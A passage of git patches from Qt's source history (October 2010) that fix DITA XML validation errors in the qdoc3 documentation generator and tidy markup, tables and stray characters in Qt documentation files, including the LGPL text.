\bold{Border \target Border Style - Style} + \o \bold{Border Style} \target Border Style \o \c dashed \BR | \c dot-dash \BR | \c dot-dot-dash \BR @@ -2740,8 +2737,7 @@ {CSS3 Draft Specification} for details. \row - \o \bold{Box \target Box Colors - Colors} + \o \bold{Box Colors} \target Box Colors \o \l{#Brush}{Brush}\{1,4\} \o One to four occurrences of \l{#Brush}{Brush}, specifying the top, right, bottom, and left edges of a box, respectively. If @@ -2756,8 +2752,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 82 \row - \o \bold{Box \target Box Lengths - Lengths} + \o \bold{Box Lengths} \target Box Lengths \o \l{#Length}{Length}\{1,4\} \o One to four occurrences of \l{#Length}{Length}, specifying the top, right, bottom, and left edges of a box, @@ -2772,14 +2767,14 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 83 \row - \o \bold Brush \target Brush + \o \bold{Brush} \target Brush \o \l{#Color}{Color} \BR | \l{Gradient} \BR | \l{PaletteRole} \o Specifies a Color or a Gradient or an entry in the Palette. \row - \o \bold Color \target Color + \o \bold{Color} \target Color \o \tt{rgb(\e{r}, \e{g}, \e{b})} \BR | \tt{rgba(\e{r}, \e{g}, \e{b}, \e{a})} \BR | \tt{hsv(\e{h}, \e{s}, \e{v})} \BR @@ -2802,27 +2797,24 @@ \l{http://www.w3.org/TR/CSS21/syndata.html#color-units}{here}. \row - \o \bold Font \target Font + \o \bold{Font} \target Font \o (\l{#Font Style}{Font Style} | \l{#Font Weight}{Font Weight}){0,2} \l{#Font Size}{Font Size} String \o Shorthand font property. \row - \o \bold{Font \target Font Size - Size} + \o \bold{Font Size} \target Font Size \o \l{Length} \o The size of a font. \row - \o \bold{Font \target Font Style - Style} + \o \bold{Font Style} \target Font Style \o \c normal \BR | \c italic \BR | \c oblique \o The style of a font. \row - \o \bold{Font \target Font Weight - Weight} + \o \bold{Font Weight} \target Font Weight \o \c normal \BR | \c bold \BR | \c 100 \BR @@ -2832,7 +2824,7 @@ \o The weight of a font. \row - \o \bold Gradient \target Gradient + \o \bold{Gradient} \target Gradient \o \c qlineargradient \BR | \c qradialgradient \BR | \c qconicalgradient @@ -2862,7 +2854,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 85 \row - \o \bold Icon \target Icon + \o \bold{Icon} \target Icon \o (\l{#Url}{Url} (\c disabled | \c active | \c normal | \c selected)? (\c on | \c off)? )* \o A list of url, QIcon::Mode and QIcon::State. @@ -2871,7 +2863,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 86 \row - \o \bold Length \target Length + \o \bold{Length} \target Length \o \l{#Number}{Number} (\c px | \c pt | \c em | \c ex)? \o A number followed by a measurement unit. The CSS standard recommends that user agents must @@ -2889,13 +2881,13 @@ \endlist \row - \o \bold Number \target Number + \o \bold{Number} \target Number \o A decimal integer or a real number \o Examples: \c 0, \c 18, \c +127, \c -255, \c 12.34, \c -.5, \c 0009. \row - \o \bold Origin \target Origin + \o \bold{Origin} \target Origin \o \c margin \BR | \c border \BR | \c padding \BR @@ -2915,7 +2907,7 @@ See also \l{The Box Model}. \row - \o \bold PaletteRole \target PaletteRole + \o \bold{PaletteRole} \target PaletteRole \o \c alternate-base \BR | \c base \BR | \c bright-text \BR @@ -2940,7 +2932,7 @@ \snippet doc/src/snippets/code/doc_src_stylesheet.qdoc 87 \row - \o \bold Radius \target Radius + \o \bold{Radius} \target Radius \o \l{#Length}{Length}\{1, 2\} \o One or two occurrences of \l{#Length}{Length}. If only one length is specified, it is used as the radius of the quarter circle @@ -2949,7 +2941,7 @@ ellipse, whereas the second length is the vertical radius. \row - \o \bold Repeat \target Repeat + \o \bold{Repeat} \target Repeat \o \c repeat-x \BR | \c repeat-y \BR | \c repeat \BR @@ -2964,7 +2956,7 @@ \endlist \row - \o \bold Url \target Url + \o \bold{Url} \target Url \o \tt{url(\e{filename})} \o \tt{\e{filename}} is the name of a file on the local disk or stored using \l{the Qt Resource System}. Setting an -- cgit v0.12 From 766b23e722743c0b99c03cf4a035b5b20cb8a88f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 12:30:50 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 11 +++++++++++ tools/qdoc3/ditaxmlgenerator.h | 2 +- tools/qdoc3/generator.h | 2 +- 3 files changed, 13 insertions(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 3397033..e1aa519 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1282,7 +1282,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","raw-html"); xmlWriter().writeCharacters(atom->string()); + xmlWriter().writeEndElement(); // break; case Atom::SectionLeft: if (inSection || inApiDesc) { @@ -5678,4 +5681,12 @@ DitaXmlGenerator::generateInnerNode(const InnerNode* node, CodeMarker* marker) } } +/*! + Returns true if \a format is "XML" or "HTML" . + */ +bool DitaXmlGenerator::canHandleFormat(const QString& format) +{ + return (format == "HTML") || (format == this->format()); +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/ditaxmlgenerator.h b/tools/qdoc3/ditaxmlgenerator.h index b457061..afa77bb 100644 --- a/tools/qdoc3/ditaxmlgenerator.h +++ b/tools/qdoc3/ditaxmlgenerator.h @@ -88,6 +88,7 @@ class DitaXmlGenerator : public PageGenerator virtual void initializeGenerator(const Config& config); virtual void terminateGenerator(); virtual QString format(); + virtual bool canHandleFormat(const QString& format); virtual void generateTree(const Tree* tree, CodeMarker* marker); QString protectEnc(const QString& string); @@ -326,4 +327,3 @@ class DitaXmlGenerator : public PageGenerator QT_END_NAMESPACE #endif - diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h index bccfc5d..26d5269 100644 --- a/tools/qdoc3/generator.h +++ b/tools/qdoc3/generator.h @@ -114,7 +114,7 @@ class Generator void generateThreadSafeness(const Node *node, CodeMarker *marker); void generateSince(const Node *node, CodeMarker *marker); void generateStatus(const Node *node, CodeMarker *marker); - const Atom *generateAtomList(const Atom *atom, + const Atom* generateAtomList(const Atom *atom, const Node *relative, CodeMarker *marker, bool generate, -- cgit v0.12 From cd3d9ea937a77c5caad276ac279e550ae74b60d6 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Mon, 25 Oct 2010 13:18:14 +0200 Subject: doc: Fixed some DITA XML validation errors. --- doc/src/internationalization/linguist-manual.qdoc | 2 +- doc/src/platforms/emb-qvfb.qdoc | 1 - tools/qdoc3/ditaxmlgenerator.cpp | 14 ++++++++++---- 3 files changed, 11 insertions(+), 6 deletions(-) diff --git a/doc/src/internationalization/linguist-manual.qdoc b/doc/src/internationalization/linguist-manual.qdoc index 57b98b8..baf37b0 100644 --- a/doc/src/internationalization/linguist-manual.qdoc +++ b/doc/src/internationalization/linguist-manual.qdoc @@ -95,7 +95,7 @@ \o A single phrase may need to be translated into several different forms depending on context, e.g. \e open in English - might become \e{\ouml\c{}ffnen}, "open file", or \e aufbauen, + might become \e{\ouml}\e{ffnen}, "open file", or \e aufbauen, "open internet connection", in German. \o Keyboard accelerators may need to be changed but without diff --git a/doc/src/platforms/emb-qvfb.qdoc b/doc/src/platforms/emb-qvfb.qdoc index 4be2f64..78bdd73 100644 --- a/doc/src/platforms/emb-qvfb.qdoc +++ b/doc/src/platforms/emb-qvfb.qdoc @@ -197,7 +197,6 @@ for the button are redrawn from the activated skin. \row - \row \o \image qt-embedded-clamshellphone-closed.png The ClamshellPhone Skin (closed) \o diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index e1aa519..bb2e817 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1282,10 +1282,16 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // break; case Atom::RawString: - xmlWriter().writeStartElement("pre"); - xmlWriter().writeAttribute("outputclass","raw-html"); - xmlWriter().writeCharacters(atom->string()); - xmlWriter().writeEndElement(); // + if (atom->string() == " ") + break; + if (atom->string().startsWith("&")) + xmlWriter().writeCharacters(atom->string()); + else { + xmlWriter().writeStartElement("pre"); + xmlWriter().writeAttribute("outputclass","raw-html"); + xmlWriter().writeCharacters(atom->string()); + xmlWriter().writeEndElement(); // + } break; case Atom::SectionLeft: if (inSection || inApiDesc) { -- cgit v0.12 From 7f8bb137427160070c3461fc161199f82d4731e4 Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Tue, 26 Oct 2010 10:30:58 +0200 Subject: doc: Fixed some DITA XML validation errors. Also fixed a bug in qdoc3 for html generation. --- tools/qdoc3/atom.h | 64 ++++++++++++++++++++-------------------- tools/qdoc3/ditaxmlgenerator.cpp | 4 +-- tools/qdoc3/doc.cpp | 2 +- 3 files changed, 34 insertions(+), 36 deletions(-) diff --git a/tools/qdoc3/atom.h b/tools/qdoc3/atom.h index 13df07b..4639711 100644 --- a/tools/qdoc3/atom.h +++ b/tools/qdoc3/atom.h @@ -56,20 +56,20 @@ class Atom { public: enum Type { - AbstractLeft, - AbstractRight, + AbstractLeft, // 00 + AbstractRight, AnnotatedList, AutoLink, - BaseName, + BaseName, BriefLeft, - BriefRight, + BriefRight, C, - CaptionLeft, + CaptionLeft, CaptionRight, - Code, - CodeBad, - CodeNew, - CodeOld, + Code, // 10 + CodeBad, + CodeNew, + CodeOld, CodeQuoteArgument, CodeQuoteCommand, #ifdef QDOC_QML @@ -77,59 +77,59 @@ class Atom #endif FootnoteLeft, FootnoteRight, - FormatElse, - FormatEndif, + FormatElse, + FormatEndif, // 20 FormatIf, FormattingLeft, FormattingRight, GeneratedList, GuidLink, - Image, + Image, ImageText, InlineImage, LegaleseLeft, - LegaleseRight, - LineBreak, - Link, + LegaleseRight, // 30 + LineBreak, + Link, LinkNode, - ListLeft, + ListLeft, ListItemNumber, - ListTagLeft, - ListTagRight, - ListItemLeft, - ListItemRight, - ListRight, - Nop, + ListTagLeft, // 36 + ListTagRight, // 37 + ListItemLeft, // 38 + ListItemRight, // 39 + ListRight, // 40 + Nop, ParaLeft, - ParaRight, + ParaRight, #ifdef QDOC_QML Qml, QmlText, #endif - QuotationLeft, + QuotationLeft, QuotationRight, RawString, - SectionLeft, + SectionLeft, // 49 SectionRight, SectionHeadingLeft, SectionHeadingRight, - SidebarLeft, + SidebarLeft, SidebarRight, SinceList, SnippetCommand, SnippetIdentifier, SnippetLocation, - String, - TableLeft, - TableRight, + String, // 59 + TableLeft, // 60 + TableRight, TableHeaderLeft, TableHeaderRight, TableRowLeft, - TableRowRight, - TableItemLeft, + TableRowRight, + TableItemLeft, TableItemRight, TableOfContents, - Target, + Target, // 69 UnhandledFormat, UnknownCommand, Last = UnknownCommand diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index bb2e817..542960d 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1157,7 +1157,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeStartElement("stentry"); xmlWriter().writeCharacters("Value"); xmlWriter().writeEndElement(); // - xmlWriter().writeEndElement(); // + xmlWriter().writeEndElement(); // } } else { @@ -1223,8 +1223,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, if (threeColumnEnumValueTable) { xmlWriter().writeEndElement(); // xmlWriter().writeStartElement("stentry"); - if (matchAhead(atom, Atom::ListItemRight)) - xmlWriter().writeCharacters(" "); } } else { diff --git a/tools/qdoc3/doc.cpp b/tools/qdoc3/doc.cpp index 5adb282..4b1bec8 100644 --- a/tools/qdoc3/doc.cpp +++ b/tools/qdoc3/doc.cpp @@ -1682,7 +1682,7 @@ bool DocParser::closeCommand(int endCmd) void DocParser::startSection(Doc::SectioningUnit unit, int cmd) { - leavePara(); + leaveValueList(); if (currentSectioningUnit == Doc::Book) { #if 0 -- cgit v0.12 From b65b6ac831ddfae4b9c08d26e5087d98ce9c0f2e Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 27 Oct 2010 10:05:30 +0200 Subject: doc: Fixed some DITA XML validation errors. These were in the compact list. --- tools/qdoc3/ditaxmlgenerator.cpp | 15 ++++++--------- 1 file changed, 6 insertions(+), 9 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 542960d..30d1d74 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -3006,24 +3006,24 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, int curParNr = 0; int curParOffset = 0; + QMap cmap; /* Output the alphabet as a row of links. */ if (includeAlphabet) { xmlWriter().writeStartElement("p"); - xmlWriter().writeAttribute("outputclass","centerAlign functionIndex"); - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","alphabet"); for (int i = 0; i < 26; i++) { QChar ch('a' + i); if (usedParagraphNames.contains(char('a' + i))) { xmlWriter().writeStartElement("xref"); - xmlWriter().writeAttribute("href",QString("#%1").arg(ch)); + QString guid = lookupGuid(outFileName(),QString(ch)); + xmlWriter().writeAttribute("href",QString("#%1").arg(guid)); xmlWriter().writeCharacters(QString(ch.toUpper())); xmlWriter().writeEndElement(); // } } - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); //

    } @@ -3051,15 +3051,12 @@ void DitaXmlGenerator::generateCompactList(const Node* relative, xmlWriter().writeStartElement("dl"); xmlWriter().writeStartElement("dlentry"); xmlWriter().writeStartElement("dt"); - xmlWriter().writeAttribute("outputclass","alphaChar"); if (includeAlphabet) { QChar c = paragraphName[curParNr][0].toLower(); - xmlWriter().writeStartElement("a"); - xmlWriter().writeAttribute("name",c); + writeGuidAttribute(QString(c)); } - xmlWriter().writeStartElement("b"); + xmlWriter().writeAttribute("outputclass","sublist-header"); xmlWriter().writeCharacters(paragraphName[curParNr]); - xmlWriter().writeEndElement(); // xmlWriter().writeEndElement(); // } -- cgit v0.12 From 7ee572661f9de00b7b1bf0f24b0145e06077553f Mon Sep 17 00:00:00 2001 From: Martin Smith Date: Wed, 27 Oct 2010 10:44:07 +0200 Subject: doc: Fixed some DITA XML validation errors. No links in the text. --- tools/qdoc3/ditaxmlgenerator.cpp | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 30d1d74..edb8677 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1090,16 +1090,15 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, .arg(atom->string()) .arg(marker->plainFullName(relative))); } -#if 0 - else if (noLinks) { - //xmlWriter().writeCharacters(atom->string()); - qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); + else if (!inSectionHeading) { + beginLink(myLink, node, relative, marker); } +#if 0 else { - beginLink(myLink, node, relative, marker); + //xmlWriter().writeCharacters(atom->string()); + //qDebug() << "MYLINK:" << myLink << outFileName() << atom->string(); } -#endif - beginLink(myLink, node, relative, marker); +#endif skipAhead = 1; } break; -- cgit v0.12 From 6a018c73d24594e7a78829e7607133f39eb33fd9 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 10:54:59 +0200 Subject: doc: Fixed some DITA XML validation errors. No <br> elements allowed. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index edb8677..2cbbfd5 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1021,7 +1021,6 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, xmlWriter().writeEndElement(); // </p> generateSection(nlist, 0, marker, CodeMarker::Summary); - xmlWriter().writeEmptyElement("br"); ++pmap; } } @@ -1079,7 +1078,7 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, inLegaleseText = false; break; case Atom::LineBreak: - xmlWriter().writeEmptyElement("br"); + //xmlWriter().writeEmptyElement("br"); break; case Atom::Link: { -- cgit v0.12 From 9b83b7708f02779d0d0405fd05468f03e32de133 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:45:17 +0200 Subject: doc: Removed an illegal character. --- doc/src/snippets/code/doc_src_lgpl.qdoc | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index 8f21642..36b8294 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -96,7 +96,7 @@ modified by someone else and passed on, the recipients should know that what they have is not the original version, so that the original author's reputation will not be affected by problems that might be introduced by others. - + Finally, software patents pose a constant threat to the existence of any free program. We wish to make sure that a company cannot effectively restrict the users of a free program by obtaining a -- cgit v0.12 From a57e16bcc728cd71ab4b8b2b86fe25a9b36078e5 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:46:12 +0200 Subject: qdoc: Fixed some DITA XML validation errors. --- tools/qdoc3/ditaxmlgenerator.cpp | 3 +++ 1 file changed, 3 insertions(+) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 2cbbfd5..a47a956 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -2801,6 +2801,8 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, if (stack.top().isEmpty()) { stack.pop(); xmlWriter().writeEndElement(); // </ul> + if (!stack.isEmpty()) + xmlWriter().writeEndElement(); // </li> } else { const ClassNode *child = @@ -2817,6 +2819,7 @@ void DitaXmlGenerator::generateClassHierarchy(const Node* relative, } if (!newTop.isEmpty()) { stack.push(newTop); + xmlWriter().writeStartElement("li"); xmlWriter().writeStartElement("ul"); } } -- cgit v0.12 From ac8d82a85369424830b7b8cf9d568e25bfa791e7 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 12:56:09 +0200 Subject: doc: Removed some illegal characters. --- doc/src/snippets/code/doc_src_lgpl.qdoc | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index 36b8294..e532406 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -199,7 +199,7 @@ Library. You may charge a fee for the physical act of transferring a copy, and you may at your option offer warranty protection in exchange for a fee. - + 2. You may modify your copy or copies of the Library or any portion of it, thus forming a work based on the Library, and copy and distribute such modifications or work under the terms of Section 1 @@ -257,7 +257,7 @@ instead of to this License. (If a newer version than version 2 of the ordinary GNU General Public License has appeared, then you can specify that version instead if you wish.) Do not make any other change in these notices. - + Once this change is made in a given copy, it is irreversible for that copy, so the ordinary GNU General Public License applies to all subsequent copies and derivative works made from that copy. @@ -308,7 +308,7 @@ Library will still fall under Section 6.) distribute the object code for the work under the terms of Section 6. Any executables containing that work also fall under Section 6, whether or not they are linked directly with the Library itself. - + 6. As an exception to the Sections above, you may also combine or link a "work that uses the Library" with the Library to produce a work containing portions of the Library, and distribute that work @@ -370,7 +370,7 @@ restrictions of other proprietary libraries that do not normally accompany the operating system. Such a contradiction means you cannot use both them and the Library together in an executable that you distribute. - + 7. You may place library facilities that are a work based on the Library side-by-side in a single library together with other library facilities not covered by this License, and distribute such a combined @@ -388,7 +388,7 @@ permitted, and provided that you do these two things: where to find the accompanying uncombined form of the same work. 8. You may not copy, modify, sublicense, link with, or distribute -the Library except as expressly provided under this License. Any +0the Library except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, link with, or distribute the Library is void, and will automatically terminate your rights under this License. However, parties who have received copies, @@ -411,7 +411,7 @@ subject to these terms and conditions. You may not impose any further restrictions on the recipients' exercise of the rights granted herein. You are not responsible for enforcing compliance by third parties with this License. - + 11. If, as a consequence of a court judgment or allegation of patent infringement or for any other reason (not limited to patent issues), conditions are imposed on you (whether by court order, agreement or @@ -463,7 +463,7 @@ conditions either of that version or of any later version published by the Free Software Foundation. If the Library does not specify a license version number, you may choose any version ever published by the Free Software Foundation. - + 14. If you wish to incorporate parts of the Library into other free programs whose distribution conditions are incompatible with these, write to the author to ask for permission. For software which is @@ -497,7 +497,7 @@ SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. END OF TERMS AND CONDITIONS - + How to Apply These Terms to Your New Libraries If you develop a new library, and you want it to be of the greatest -- cgit v0.12 From 649ff059fbb8a3a288dbb112edb65e8f9f4e29cb Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Wed, 27 Oct 2010 13:12:17 +0200 Subject: doc: Removed an illegal char and some empty \row commands. --- doc/src/platforms/compiler-notes.qdoc | 3 --- doc/src/snippets/code/doc_src_lgpl.qdoc | 2 +- 2 files changed, 1 insertion(+), 4 deletions(-) diff --git a/doc/src/platforms/compiler-notes.qdoc b/doc/src/platforms/compiler-notes.qdoc index 5ff3112..316b635 100644 --- a/doc/src/platforms/compiler-notes.qdoc +++ b/doc/src/platforms/compiler-notes.qdoc @@ -55,14 +55,11 @@ \header \o \o Concurrent \o XmlPatterns \o WebKit(*) \o CLucene \o Phonon \row \o g++ 3.3 \o \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o g++ 3.4 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o SunCC 5.5 \o \o \o \o \bold{X} \o \bold{X} - \row \row \o aCC series 3 \o \o \o \o \bold{X} \o \bold{X} \row \o aCC series 6 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \row \o xlC 6 \o \o \o \o \bold{X} \o \bold{X} \row \o Intel CC 10 \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} - \row \row \o MSVC 2003 \o \bold{X} \o \bold{X} \o \o \bold{X} \o \bold{X} \row \o MSVC 2005 and up \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \o \bold{X} \endtable diff --git a/doc/src/snippets/code/doc_src_lgpl.qdoc b/doc/src/snippets/code/doc_src_lgpl.qdoc index e532406..fa155fc 100644 --- a/doc/src/snippets/code/doc_src_lgpl.qdoc +++ b/doc/src/snippets/code/doc_src_lgpl.qdoc @@ -152,7 +152,7 @@ modification follow. Pay close attention to the difference between a "work based on the library" and a "work that uses the library". The former contains code derived from the library, whereas the latter must be combined with the library in order to run. - + GNU LESSER GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION -- cgit v0.12 From 14dd3da129e26872296435814694a3251ef5e52f Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Thu, 28 Oct 2010 12:36:57 +0200 Subject: qdoc: Fixed some DITA XML validation errors. Fixed some \table problems as well. --- doc/src/getting-started/installation.qdoc | 11 ++++++----- tools/qdoc3/ditaxmlgenerator.cpp | 24 ++++++++++++++++++------ 2 files changed, 24 insertions(+), 11 deletions(-) diff --git a/doc/src/getting-started/installation.qdoc b/doc/src/getting-started/installation.qdoc index c6e79d9..fdb88f5 100644 --- a/doc/src/getting-started/installation.qdoc +++ b/doc/src/getting-started/installation.qdoc @@ -990,9 +990,9 @@ applications using Qt for Symbian can start right away. Qt from its source code, you will also need to install the development packages for these libraries for your system. - \table 90% - \header \o Name \o Library \o Notes \o Configuration options \o Minimum working version \raw HTML + <table class="generic"> + <thead><tr class="qt-style topAlign"><th>Name</th><th>Library</th><th>Notes</th><th>Configuration options</th><th>Minimum working version <tr id="OptionalColor"> <td> XRender </td><td> libXrender </td><td> X Rendering Extension; used for anti-aliasing</td> <td><tt>-xrender</tt> or auto-detected</td><td>0.9.0</td> @@ -1039,9 +1039,9 @@ applications using Qt for Symbian can start right away. </tr><tr id="PthreadColor"> <td> pthread </td><td> libpthread </td><td> Multithreading</td> <td></td><td>2.3.5</td> - </tr> + </tr></th></tr></thead> + </table> \endraw - \endtable \note You must compile with XRender support to get alpha transparency support for pixmaps and images. @@ -1129,8 +1129,9 @@ applications using Qt for Symbian can start right away. {Windows Mobile 6 Professional/Standard} \endlist + \bold{Note:} \table - \row \bold{Note:} + \row \o \list 1 \o Currently, there is only compile support for Windows CE 5.0 diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index a47a956..581335a 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -653,10 +653,10 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, case Atom::BaseName: break; case Atom::BriefLeft: - if (relative->type() == Node::Fake) { - skipAhead = skipAtoms(atom, Atom::BriefRight); - break; - } + //if (relative->type() == Node::Fake) { + //skipAhead = skipAtoms(atom, Atom::BriefRight); + //break; + //} if (inApiDesc || inSection) { xmlWriter().writeStartElement("p"); xmlWriter().writeAttribute("outputclass","brief"); @@ -697,8 +697,8 @@ int DitaXmlGenerator::generateAtom(const Atom *atom, } break; case Atom::BriefRight: - if (relative->type() != Node::Fake) - xmlWriter().writeEndElement(); // </shortdesc> or </p> + // if (relative->type() != Node::Fake) + xmlWriter().writeEndElement(); // </shortdesc> or </p> noLinks = false; break; case Atom::C: @@ -2413,6 +2413,18 @@ void DitaXmlGenerator::generateTitle(const QString& title, void DitaXmlGenerator::generateBrief(const Node* node, CodeMarker* marker) { Text brief = node->doc().briefText(true); // zzz + if (outFileName() == "requirements-x11.xml") { + if (brief.isEmpty()) + qDebug() << "EMPTY BRIEF"; + else { + qDebug() << "NON-EMPTY BRIEF"; + Atom* a = brief.firstAtom(); + while (a != 0) { + qDebug() << " " << a->type() << a->typeString() << a->string(); + a = a->next(); + } + } + } if (!brief.isEmpty()) { generateText(brief, node, marker); } -- cgit v0.12 From dafb371f89c14f99082289feba66fa21b28ecd37 Mon Sep 17 00:00:00 2001 From: Martin Smith <martin.smith@nokia.com> Date: Thu, 28 Oct 2010 15:15:27 +0200 Subject: qdoc: Fixed some DITA XML validation errors. The obsolete and Qt3 support files no longer exist, so all the references to them had to be cleaned up, and the elements that were formerly in those files had to be included in the class, namespace, or header file with the appropriate outputclass attr. --- tools/qdoc3/ditaxmlgenerator.cpp | 315 +++++++++------------------------------ tools/qdoc3/ditaxmlgenerator.h | 26 +++- 2 files changed, 89 insertions(+), 252 deletions(-) diff --git a/tools/qdoc3/ditaxmlgenerator.cpp b/tools/qdoc3/ditaxmlgenerator.cpp index 581335a..fa0aa43 100644 --- a/tools/qdoc3/ditaxmlgenerator.cpp +++ b/tools/qdoc3/ditaxmlgenerator.cpp @@ -1628,27 +1628,9 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } ++s; } -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if (inner->type() == Node::Class) { @@ -1783,29 +1765,8 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark ++s; } - // not included: <cxxClassInherits> - -#if 0 - QString membersLink = generateListOfAllMemberFile(inner, marker); - QString obsoleteLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Obsolete); - QString compatLink = generateLowStatusMemberFile(inner, - marker, - CodeMarker::Compat); - if (!membersLink.isEmpty() || - !obsoleteLink.isEmpty() || - !compatLink.isEmpty()) { - xmlWriter().writeStartElement("ul"); - if (!membersLink.isEmpty()) - writeXrefListItem(membersLink,"List of all members, including inherited members"); - if (!obsoleteLink.isEmpty()) - writeXrefListItem(obsoleteLink,"Obsolete members"); - if (!compatLink.isEmpty()) - writeXrefListItem(compatLink,"Qt 3 support members"); - xmlWriter().writeEndElement(); // </ul> - } -#endif + generateLowStatusMembers(inner,marker,CodeMarker::Obsolete); + generateLowStatusMembers(inner,marker,CodeMarker::Compat); xmlWriter().writeEndElement(); // </cxxClass> } else if ((inner->type() == Node::Fake) && (inner->subType() == Node::HeaderFile)) { @@ -1926,27 +1887,8 @@ DitaXmlGenerator::generateClassLikeNode(const InnerNode* inner, CodeMarker* mark } 